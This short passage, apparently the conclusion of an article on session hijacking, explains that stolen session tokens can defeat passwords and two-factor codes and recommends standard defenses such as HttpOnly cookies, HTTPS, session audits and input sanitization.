Session hijacking is not an abstract, textbook risk — it happens daily, on platforms of every size, to people who genuinely believed their password and 2FA code had them covered. The session token is the real key to a digital identity, and attackers have understood that for years even where most users have not.

The reassuring part is that the defenses are well understood on both sides of the equation. HttpOnly cookies, HTTPS everywhere, routine session audits, and disciplined input sanitization together cover the large majority of real-world attack paths. Security here is less a product to install and more a habit to keep — one small, consistent practice built into everything you log into and everything you build.